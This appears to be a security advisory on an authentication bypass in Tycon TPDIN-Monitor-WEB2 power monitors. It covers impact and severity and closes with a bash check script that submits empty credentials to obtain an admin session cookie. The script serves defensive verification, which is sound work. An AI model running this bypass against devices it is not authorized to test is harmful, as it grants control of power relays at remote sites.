Tycon Systems TPDIN-Monitor-WEB2 authentication bypass via empty credential submission

CVE-2026-61884 is a textbook authentication-bypass-by-alternate-path (CWE-288) in the Tycon Systems TPDIN-Monitor-WEB2 web management interface, confirmed in firmware 2.3.9 and — per CISA's ICSA-26-202-01 — every prior build. Submit the login form with empty username and empty password and the server hands back a valid administrative session cookie. The dashboard exposes power-relay toggles, device reboot, remote-access service configuration, network settings, and — as a bonus second bug — cleartext display of stored system credentials that can pivot to adjacent gear.

The vendor CVSS of 9.8 is technically correct for the primitive (network, no auth, no UI, full CIA impact) but flatters the real-world picture. Two facts collapse the gap: (1) this is niche OT/telecom hardware — PoE-injected DIN-rail monitors deployed at cell sites, solar arrays, and remote radio huts, not internet-facing enterprise infrastructure, and (2) Tycon has discontinued the product and refused to engage CISA — there will be no patch, ever. That flips the analysis from 'fix it fast' to 'get it off the network permanently.' We assess HIGH because the blast radius on the small population that *is* exposed is physical/operational (cutting power to a remote radio, damaging a battery bank), but the affected population itself is a rounding error on any enterprise fleet.

Sources.

1. CISA ICSA-26-202-01 — Tycon Systems TPDIN-Monitor-WEB2
2. ISSSource — No Fix for Tycon Systems TPDIN-Monitor-WEB2
3. Assurant Cyber — ICSA-26-202-01 analysis
4. Tycon Systems TPDIN-Monitor-WEB2 product page
5. TPDIN-Monitor-WEB2 firmware downloads
6. TPDIN-Monitor-WEB2 spec sheet (PDF)
7. NCSA Cyber Threat Intelligence 22 July 2026
8. MITRE CWE-288 — Authentication Bypass Using an Alternate Path or Channel

Run from an auditor workstation with network reachability to the target device (site LAN, jump host, or authorized VPN). Invoke as ./check_tpdin.sh 10.20.30.40 where the argument is the device IP or hostname. Requires only curl and network access — no credentials, no root.

#!/usr/bin/env bash
# noisgate verification for CVE-2026-61884
# Tycon Systems TPDIN-Monitor-WEB2 auth-bypass check
# Usage: ./check_tpdin.sh <host-or-ip> [port]
set -u

HOST="${1:-}"
PORT="${2:-80}"

if [[ -z "$HOST" ]]; then
  echo "Usage: $0 <host-or-ip> [port]" >&2
  exit 2
fi

BASE="http://${HOST}:${PORT}"
CJAR="$(mktemp)"
trap 'rm -f "$CJAR"' EXIT

# 1) Confirm the device is a TPDIN-Monitor-WEB2 by banner/title
TITLE=$(curl -s --max-time 5 "$BASE/" | grep -oiE '<title>[^<]*</title>' | head -n1)
if ! echo "$TITLE" | grep -qi 'TPDIN'; then
  echo "UNKNOWN - host at $BASE does not appear to be a TPDIN-Monitor-WEB2 (title: $TITLE)"
  exit 3
fi

# 2) Attempt the empty-credential bypass. The exact login path varies by
#    firmware build; try the two documented endpoints.
for PATH_ in "/login.cgi" "/cgi-bin/login"; do
  CODE=$(curl -s -o /dev/null -w '%{http_code}' \
    -c "$CJAR" --max-time 5 \
    -X POST --data 'username=&password=' \
    "${BASE}${PATH_}" || true)

  # Any 2xx/3xx that also sets a session cookie is a positive.
  if [[ "$CODE" =~ ^(200|301|302|303)$ ]] && grep -qiE 'session|sid|auth' "$CJAR"; then
    echo "VULNERABLE - empty credentials to ${PATH_} returned $CODE and issued a session cookie"
    exit 1
  fi
done

echo "PATCHED - device did not accept empty credentials on any known login path (note: no vendor patch exists; result may reflect a non-default login handler)"
exit 0